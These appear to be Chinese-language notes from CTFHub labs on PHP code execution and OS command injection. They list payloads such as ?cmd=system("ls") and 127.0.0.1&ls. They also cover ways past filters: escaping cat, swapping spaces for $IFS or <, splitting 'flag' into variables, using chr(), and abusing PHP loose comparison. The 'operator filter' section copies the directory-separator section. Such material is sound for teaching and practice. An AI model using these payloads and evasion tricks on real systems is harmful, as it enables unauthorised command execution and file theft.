Eval执行:
根据题意,命令赋予给cmd然后执行,输入/?cmd=system(“ls”);,查看根目录
未发现什么,返回上一级目录
?cmd=system("ls");
Flag在flag_3769中,输入/?cmd=system(“cat/flag_3769”);
得到ctfhub{b3f189201eb75140e8442b21}
无过滤
无过滤用分号来连接命令,ls,这是在liux环境下,只要根据是否对大小写有要求
用cat命令读取index.php,得到一串数字.php,访问一下然后查看源代码
过滤cat
输入172.0.0.1&ls,
得到flag_ .php
过滤cat,所以输入172.0.0.1&ca\t flag_ .php,查看源代码即可
反斜杠 : 例如 ca\t fl\ag.php
连接符: 例如 ca''t fla''g.txt
还可以用
用less或more命令试试
查看源代码就可以得到flag
当cat被过滤后,可以使用其他命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容
过滤空格
在 bash 下, 可以用以下字符代替空格:
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS 等
输入172.0.0.1&ls得到
过滤空格,则用<代替,172.0.0.1&cat<flag_ .php,即可
过滤目录分隔符
直接输入172.0.0.1&ls,未得到,可看到flag在该目录下,但是题目过滤了/,根据前面的题目可以知道,在flag中,就包含有/,所以如果直接读取flag的内容,会被替换成$m = [];
用\ 代替/,172.0.0.1;ls \flag_is_here
输入172.0.0.1&cd flag_is_here;cat flag_ .php
过滤运算符
直接输入172.0.0.1&ls,未得到,可看到flag在该目录下,但是题目过滤了/,根据前面的题目可以知道,在flag中,就包含有/,所以如果直接读取flag的内容,会被替换成$m = [];
用\ 代替/,172.0.0.1;ls \flag_is_here
输入172.0.0.1&cd flag_is_here;cat flag_ .php
知识点
管道符: ; 实现字符串拼接
在Linux下才能使用,
例如://(preg_match("/.*f.*l.*a.*g.*/", $ip)
实现:构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配
//;可执行多条命令,$a$b会自动字符拼接
chr()函数绕过(scandir() 获取指定目录下的文件)
原理:特殊字符也被过滤了,尝试使用chr()函数将ASCII值转换为字符串进行拼接
例如:/calc.php?%20num=var_dump(scandir(chr(46).chr(47)))
scandir() 获取指定目录下的文件,返回数组
数组需要var_dump()或者print_r()函数进行打印
chr()将ascii值转换为字符串
ord()将字符转换成对应的ASCII编码值
科学技术法绕过
if($this->op == "2")
例如:2a不能绕过,因为这里"2"是字符串,不是数字,所以2a也不会变为数字2
,改成2e0,即使是字符串,也会自己变为数字2,成功绕过